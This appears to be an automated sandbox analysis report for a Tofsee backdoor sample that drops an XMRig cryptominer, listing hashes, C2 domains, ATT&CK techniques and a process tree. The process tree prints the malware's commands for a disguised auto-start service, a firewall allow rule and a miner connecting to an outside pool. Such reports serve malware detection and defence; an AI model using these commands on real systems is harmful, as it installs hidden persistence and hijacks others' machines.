Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    29-11-2022 22:32

General

  • Target

    7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe

  • Size

    146KB

  • MD5

    edeb8cf6ad50b2189148305da1711683

  • SHA1

    a5843da9541016d02e3daf537a3781c9dac0716c

  • SHA256

    7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396

  • SHA512

    8cf6653627e3dcf78d45d12edd93ed27fc052534d4731c6695e4cc6ce7d271aa7f02a94ea5b70c8783c62c4bf4d334681b19213aede987f597558be0dd8be8fa

  • SSDEEP

    3072:AVt0N0vO/6B9v5qJO1POmehbsM6FGUuBi:G9O/6BKJOBe7c78

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe
    "C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1352
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sdfzsedg\
      2⤵
        PID:1684
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nqzkkggd.exe" C:\Windows\SysWOW64\sdfzsedg\
        2⤵
          PID:916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sdfzsedg binPath= "C:\Windows\SysWOW64\sdfzsedg\nqzkkggd.exe /d\"C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sdfzsedg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:584
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sdfzsedg
          2⤵
          • Launches sc.exe
          PID:360
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:632
      • C:\Windows\SysWOW64\sdfzsedg\nqzkkggd.exe
        C:\Windows\SysWOW64\sdfzsedg\nqzkkggd.exe /d"C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1556
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1732

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\nqzkkggd.exe
        Filesize

        14.9MB

        MD5

        06706537c8466d8c65aeb797c685b872

        SHA1

        69150447aac6c4bf0b4fab8cd9f092a6a33b43b1

        SHA256

        78e679036f439df226ae85ecccdad79bb7caaadc33f3d5c08bcf484a8cc42c9b

        SHA512

        ceb3655325073e30707f2e738908dde2d837a8a5453ee264b776c4e80b3aacd5a64705587c4e644870462f06314d45f21c78ffa710cf3b48129c0bc51155b5b1

      • C:\Windows\SysWOW64\sdfzsedg\nqzkkggd.exe
        Filesize

        14.9MB

        MD5

        06706537c8466d8c65aeb797c685b872

        SHA1

        69150447aac6c4bf0b4fab8cd9f092a6a33b43b1

        SHA256

        78e679036f439df226ae85ecccdad79bb7caaadc33f3d5c08bcf484a8cc42c9b

        SHA512

        ceb3655325073e30707f2e738908dde2d837a8a5453ee264b776c4e80b3aacd5a64705587c4e644870462f06314d45f21c78ffa710cf3b48129c0bc51155b5b1

      • memory/360-63-0x0000000000000000-mapping.dmp
      • memory/584-62-0x0000000000000000-mapping.dmp
      • memory/632-65-0x0000000000000000-mapping.dmp
      • memory/916-59-0x0000000000000000-mapping.dmp
      • memory/1352-66-0x0000000000C0B000-0x0000000000C1C000-memory.dmp
        Filesize

        68KB

      • memory/1352-55-0x0000000000C0B000-0x0000000000C1C000-memory.dmp
        Filesize

        68KB

      • memory/1352-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1352-57-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB

      • memory/1352-54-0x0000000075B51000-0x0000000075B53000-memory.dmp
        Filesize

        8KB

      • memory/1352-67-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB

      • memory/1556-83-0x0000000000080000-0x0000000000086000-memory.dmp
        Filesize

        24KB

      • memory/1556-92-0x0000000005460000-0x000000000586B000-memory.dmp
        Filesize

        4.0MB

      • memory/1556-69-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1556-71-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1556-72-0x00000000000D9A6B-mapping.dmp
      • memory/1556-107-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1556-95-0x00000000001C0000-0x00000000001C7000-memory.dmp
        Filesize

        28KB

      • memory/1556-78-0x00000000000D0000-0x00000000000E5000-memory.dmp
        Filesize

        84KB

      • memory/1556-80-0x0000000001840000-0x0000000001A4F000-memory.dmp
        Filesize

        2.1MB

      • memory/1556-86-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1556-89-0x00000000001B0000-0x00000000001B5000-memory.dmp
        Filesize

        20KB

      • memory/1616-61-0x0000000000000000-mapping.dmp
      • memory/1684-58-0x0000000000000000-mapping.dmp
      • memory/1732-98-0x0000000000190000-0x0000000000281000-memory.dmp
        Filesize

        964KB

      • memory/1732-100-0x0000000000190000-0x0000000000281000-memory.dmp
        Filesize

        964KB

      • memory/1732-105-0x000000000022259C-mapping.dmp
      • memory/1832-77-0x0000000000400000-0x0000000000AD6000-memory.dmp
        Filesize

        6.8MB

      • memory/1832-73-0x0000000000C2B000-0x0000000000C3B000-memory.dmp
        Filesize

        64KB